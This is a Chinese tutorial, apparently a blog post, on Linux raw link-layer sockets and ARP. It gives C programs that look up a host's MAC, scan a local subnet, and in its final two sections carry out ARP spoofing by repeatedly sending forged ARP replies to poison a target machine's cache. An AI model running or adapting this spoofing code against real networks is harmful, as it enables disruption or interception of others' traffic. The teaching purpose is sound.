原始套接(ARP协议的使用)

原始套接字(SOCK_RAW)
1、一种不同于SOCK_STREAM、SOCK_DGRAM的套接字,它实现于系统核心
2、可以接收本机网卡上所有的数据帧(数据包),对于监听网络流量和分析网络数据很有作用
3、开发人员可发送自己组装的数据包到网络上
4、广泛应用于高级网络编程
5、网络专家、黑客通常会用此来编写奇特的网络程序
流式套接字只能收发
TCP协议的数据
数据报套接字只能收发
UDP协议的数据
原始套接字可以收发
1、内核没有处理的数据包,因此要访问其他协议
2、发送的数据需要使用,原始套接字(SOCK_RAW)

在这里插入图片描述

1、创建原始套接字

int socket(PF_PACKET, SOCK_RAW, protocol)
功能:
    创建链路层的原始套接字
参数:
    protocol:指定可以接收或发送的数据包类型
    ETH_P_IP:IPV4数据包
    ETH_P_ARP:ARP数据包
    ETH_P_ALL:任何协议类型的数据包
返回值:
    成功(>0):链路层套接字
    失败(<0):出错
头文件:
	#include <sys/socket.h>
    #include <netinet/ether.h>
#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
int main()
{
	//创建一个链路层 通信的原始套接字
	int fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	printf("fd = %d\n", fd);
	
	close(fd);
	return 0;
}

在这里插入图片描述

2、原始套接字发送数据(sendto)

sendto(sock_raw_fd, msg, msg_len, 0,(struct sockaddr*)&sll, sizeof(sll));
注意:
1、sock_raw_fd:原始套接字
2、msg:发送的消息(封装好的协议数据)
3、sll:本机网络接口,指发送的数据应该从本机的哪个网卡出去,而不是以前的目的地址
想一想:
如何定义sll?

在这里插入图片描述
原始套接字:组帧数据报文----->从本机的哪块网卡sendto发出去

2.1、本机的接口地址结构

#include <netpacket/packet.h>
struct sockaddr_ll sll;

在这里插入图片描述
只需要对sll.sll_ifindex赋值,就可使用

2.2、获取我们的本地接口

通过ioctl来获取网络接口地址

struct ifreq:#include <net/if.h>
IFNAMSIZ 16
#include <sys/ioctl.h>
int ioctl(int fd, int request,void *)

在这里插入图片描述
ioctl参数对照表:
在这里插入图片描述

案例1:扫描mac地址 (要知道ARP协议)

ARP概述
ARP(Address Resolution Protocol,地址解析协议)
1、是TCP/IP协议族中的一个
2、主要用于查询指定ip所对应的的MAC
3、请求方使用广播来发送请求
4、应答方使用单播来回送数据
5、为了在发送数据的时候提高效率在计算中会有一个ARP缓存表,用来暂时存放ip所对应的MAC,在linux中使用ARP即可查看,在xp中使用ARP -a
在linux与xp系统下查看ARP的方式:
在这里插入图片描述
以机器A获取机器B的MAC为例:
在这里插入图片描述
ARP协议格式:
在这里插入图片描述

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<pthread.h>
#include<unistd.h>//_exit
#include<string.h>//strncpy
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);
void *recv_msg(void *arg)
{
	int sockfd = (int)arg;
	while(1)
	{
		unsigned char buf[1500]="";
		recvfrom(sockfd, buf,sizeof(buf), 0,NULL,NULL);
		
		if(ntohs(*(unsigned short *)(buf+12)) == 0x0806)//arp报文
		{
			if(ntohs(*(unsigned short *)(buf+14+6)) == 2)//应答
			{
				//获取mac buf中的
				unsigned char tmp_ip[4]={192,168,0,110};
				if(memcmp(tmp_ip,buf+14+14, 4) == 0)
				{
					char mac[18]="";
					sprintf(mac,"%02x:%02x:%02x:%02x:%02x:%02x",
					buf[6+0],buf[6+1],buf[6+2],buf[6+3],buf[6+4],buf[6+5]);
					char ip[16]="";
					sprintf(ip,"%d.%d.%d.%d",\
					buf[28+0],buf[28+1],buf[28+2],buf[28+3]);
					printf("IP:%s--->MAC:%s\n",ip,mac);
					break;
				}
				
			}
			
			
		}
		return NULL;
	}
	
}
int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	
	//msg存放arp请求报文
	unsigned char msg[]={
		/*mac报文头部 14B*/
		0xff,0xff,0xff,0xff,0xff,0xff,/*目的mac地址*/
		0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根据自己修改 ubuntu_mac*/
		0x08,0x06,/*帧类型*/
		
		/*ARP报文头部 28B*/
		0x00,0x01,/*硬件类型*/
		0x08,0x00,/*协议类型*/
		6,/*硬件地址长度*/
		4,/*协议地址长度*/
		0x00,0x01,/*1 ARP请求*/
		0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根据自己修改 ubuntu_mac*/
		192,168,0,111,/*源IP 根据自己修改 ubuntu_ip*/
		0x00,0x00,0x00,0x00,0x00,0x00,/*目的mac地址*/
		192,168,0,110/*目的IP*/
	};
	
	//创建线程接受arp应答
	pthread_t tid;
	pthread_create(&tid,NULL, recv_msg, (void *)sockfd);
	
	//发送arp请求帧数据
	my_sendto(sockfd, "eth0",msg, 42);
	
	//等待线程结束
	pthread_join(tid, NULL);
	
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}

运行结果:
在这里插入图片描述

案例2 扫描整个局域网的mac地址

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<pthread.h>
#include<unistd.h>//_exit
#include<string.h>//strncpy
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);
void *recv_msg(void *arg)
{
	int sockfd = (int)arg;
	while(1)
	{
		unsigned char buf[1500]="";
		recvfrom(sockfd, buf,sizeof(buf), 0,NULL,NULL);
		
		if(ntohs(*(unsigned short *)(buf+12)) == 0x0806)//arp报文
		{
			if(ntohs(*(unsigned short *)(buf+14+6)) == 2)//应答
			{
				
				char mac[18]="";
				sprintf(mac,"%02x:%02x:%02x:%02x:%02x:%02x",
				buf[6+0],buf[6+1],buf[6+2],buf[6+3],buf[6+4],buf[6+5]);
				char ip[16]="";
				sprintf(ip,"%d.%d.%d.%d",\
				buf[28+0],buf[28+1],buf[28+2],buf[28+3]);
				printf("IP:%s--->MAC:%s\n",ip,mac);
			}
		}
	}
	return NULL;
}
int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	
	//msg存放arp请求报文
	unsigned char msg[]={
		/*mac报文头部 14B*/
		0xff,0xff,0xff,0xff,0xff,0xff,/*目的mac地址*/
		0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根据自己修改 ubuntu_mac*/
		0x08,0x06,/*帧类型*/
		
		/*ARP报文头部 28B*/
		0x00,0x01,/*硬件类型*/
		0x08,0x00,/*协议类型*/
		6,/*硬件地址长度*/
		4,/*协议地址长度*/
		0x00,0x01,/*1 ARP请求*/
		0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根据自己修改 ubuntu_mac*/
		192,168,0,111,/*源IP 根据自己修改 ubuntu_ip*/
		0x00,0x00,0x00,0x00,0x00,0x00,/*目的mac地址*/
		192,168,0,0/*目的IP*/
	};
	
	//创建线程接受arp应答
	pthread_t tid;
	pthread_create(&tid,NULL, recv_msg, (void *)sockfd);
	sleep(2);
	//发送arp请求帧数据
	int i=0;
	for(i=1;i<255;i++)
	{
		msg[41]=i;
		my_sendto(sockfd, "eth0",msg, 42);
	}
	
	sleep(3);
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}

运行结果:
在这里插入图片描述

案例:ARP欺骗1 (数组逐个元素组包)

在这里插入图片描述

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<unistd.h>//_exit
#include<string.h>//strncpy
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);

int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	
	//msg存放arp应答报文
	unsigned char msg[]={
		/*mac报文头部 14B*/
		0x70,0x5A,0x0F,0x63,0xF5,0x9D,/*目的mac地址 XPmac*/
		0x00,0x00,0x00,0x00,0x00,0x00,/*源mac地址伪装的mac 假的*/
		0x08,0x06,/*帧类型*/
		
		/*ARP报文头部 28B*/
		0x00,0x01,/*硬件类型*/
		0x08,0x00,/*协议类型*/
		6,/*硬件地址长度*/
		4,/*协议地址长度*/
		0x00,0x02,/*2 ARP应答*/
		0x00,0x00,0x00,0x00,0x00,0x00,/*源mac地址伪装的mac 假的*/
		192,168,0,111,/*源IP 根据自己修改 ubuntu_ip*/
		0x70,0x5A,0x0F,0x63,0xF5,0x9D,/*目的mac地址 xp_mac*/
		192,168,0,110/*目的IP*/
	};
	
	//发送arp请求帧数据
	int i=0;
	for(i=1;i<20;i++)
	{
		my_sendto(sockfd, "eth0",msg, 42);
		sleep(1);
	}
	
	
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}

运行之前:
在这里插入图片描述
运行之后:sudo ./a.out
在这里插入图片描述

案例:ARP欺骗2 (结构体完成)

1、以太网结构体

struct ether_header所在位置:#include <net/ethernet.h>(首选)

在这里插入图片描述

2、ARP 头部

Struct arphdr ;所在位置 /usr/include/net/if_arp.h #include <net/if_arp.h>

在这里插入图片描述
使用的时候记得将#if 0—>改成#if 1
案例:

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<unistd.h>//_exit
#include<string.h>//strncpy
#include <net/ethernet.h>//struct ether_header
#include <net/if_arp.h>//struct arphdr
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);

int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	
	/*目的mac地址 XPmac*/
	unsigned char dst_mac[6]={0x70,0x5A,0x0F,0x63,0xF5,0x9D};
	unsigned char src_mac[6]={0x00};
	unsigned char src_ip[4]={192,168,0,111};
	unsigned char dst_ip[4]={192,168,0,110};
	
	unsigned char msg[1024]="";
	//1、组mac头部
	struct ether_header *eth_addr = (struct ether_header *)msg;
	//赋值目的mac地址
	memcpy(eth_addr->ether_dhost, dst_mac, 6);
	//赋值源mac地址
	memcpy(eth_addr->ether_shost, src_mac, 6);
	//赋值帧类型
	eth_addr->ether_type = htons(0x0806);
	
	//2、组arp头部
	struct arphdr *arp_head = (struct arphdr *)(msg+14);
	arp_head->ar_hrd = htons(1);
	arp_head->ar_pro = htons(0x0800);
	arp_head->ar_hln = 6;
	arp_head->ar_pln = 4;
	arp_head->ar_op = htons(2);
	memcpy(arp_head->__ar_sha, src_mac,6);
	memcpy(arp_head->__ar_sip, src_ip,4);
	memcpy(arp_head->__ar_tha, dst_mac,6);
	memcpy(arp_head->__ar_tip, dst_ip,4);
	
	//发送arp请求帧数据
	int i=0;
	for(i=1;i<20;i++)
	{
		my_sendto(sockfd, "eth0",msg, 42);
		sleep(1);
	}
	
	
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值